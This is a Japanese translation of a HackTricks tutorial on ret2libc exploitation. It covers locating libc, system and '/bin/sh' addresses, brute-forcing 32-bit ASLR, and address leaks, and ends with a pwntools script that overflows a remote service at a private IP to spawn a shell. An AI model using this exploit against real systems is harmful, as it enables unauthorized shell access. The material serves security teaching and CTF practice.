Ret2lib

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

基本情報

Ret2Libcの本質は、脆弱なプログラムの実行フローを、スタック上の攻撃者提供のシェルコードを実行する代わりに、共有ライブラリ内の関数(たとえば systemexecvestrcpy)にリダイレクトすることです。攻撃者は、ペイロードを作成し、スタック上の戻りアドレスを望ましいライブラリ関数を指すように変更し、同時に呼び出し規約に従って必要な引数が正しく設定されるように配置します。

手順の例(簡略化)

  • 呼び出す関数(たとえば system)のアドレスと呼び出すコマンド(たとえば /bin/sh)を取得する

  • 最初の引数をコマンド文字列を指すようにし、関数への実行フローを渡すためのROPチェーンを生成する

アドレスの検索

  • 現在のマシンで使用されている libc がどこにメモリにロードされるかを見つけるには:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

ASLRがlibcのアドレスを変更しているかどうかを確認したい場合は、次のようにします:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • 使用されているlibcを知っていると、system関数へのオフセットを見つけることも可能です:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • 使用されているlibcを知っている場合、文字列 /bin/sh 関数へのオフセットを見つけることも可能です:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

gdb-peda / GEFを使用する

使用しているlibcを知っている場合、PedaまたはGEFを使用して、system関数、exit関数、および文字列**/bin/sh**のアドレスを取得することも可能です:

p system
p exit
find "/bin/sh"

/proc/<PID>/mapsを使用する

プロセスが子プロセスを作成している場合(ネットワークサーバーなど)、そのファイルを読み取ろうとしてみてください(おそらくroot権限が必要になるかもしれません)。

ここで、プロセス内でlibcがロードされている場所と、プロセスの各子プロセスにロードされる場所を正確に見つけることができます。

この場合、0xb75dc000にロードされています(これがlibcのベースアドレスになります)

未知のlibc

バイナリがロードしているlibcがわからない可能性があります(アクセス権限がないサーバーにあるかもしれません)。その場合、脆弱性を悪用していくつかのアドレスを漏洩させ、どのlibcライブラリが使用されているかを見つけることができます:

pageLeaking libc address with ROP

また、これに対するpwntoolsのテンプレートを以下で見つけることができます:

pageLeaking libc - template

2つのオフセットでlibcを知る

https://libc.blukat.me/をチェックし、libc内の関数のいくつかのアドレスを使用して、使用されているバージョンを特定します。

32ビットでのASLR回避

これらのブルートフォース攻撃は32ビットシステムにのみ有用です。

  • 攻撃がローカルの場合、libcのベースアドレスをブルートフォースしてみることができます(32ビットシステムに有用):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • リモートサーバーを攻撃する場合、libc関数usleepのアドレスを10(例)として試行することができます。サーバーが10秒余分に応答するようになったら、この関数のアドレスを見つけました。

ワンガジェット

libc内の特定のアドレスにジャンプしてシェルを実行します:

pageOne Gadget

x86 Ret2libコード例

この例では、ASLRブルートフォースがコードに統合されており、脆弱性のあるバイナリがリモートサーバーに配置されています:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib コード例

以下の例を確認してください:

pageROP - Return Oriented Programing

ARM64 Ret2lib 例

ARM64の場合、ret 命令は x30 レジスタが指す場所にジャンプし、スタックレジスタが指す場所にはジャンプしません。そのため、少し複雑です。

また、ARM64では命令がそのままの動作をします(命令の途中でジャンプして新しい命令に変換することはできません)。

以下の例を確認してください:

pageRet2lib + Printf leak - arm64

Ret-into-printf (またはputs)

これにより、printf/puts を呼び出すことで、特定のデータを引数として渡すことで、プロセスから情報を漏洩させることができます。たとえば、puts のGOT内のアドレスを puts の実行に置くことで、メモリ内の puts のアドレスを漏洩させることができます。

Ret2printf

これは、ret2lib を悪用して printf フォーマット文字列の脆弱性に変換することを意味します。ret2lib を使用して、その値を使用して printf を呼び出し、それを悪用することが可能です(無駄に聞こえるかもしれませんが、可能です):

pageFormat Strings

その他の例と参照

Last updated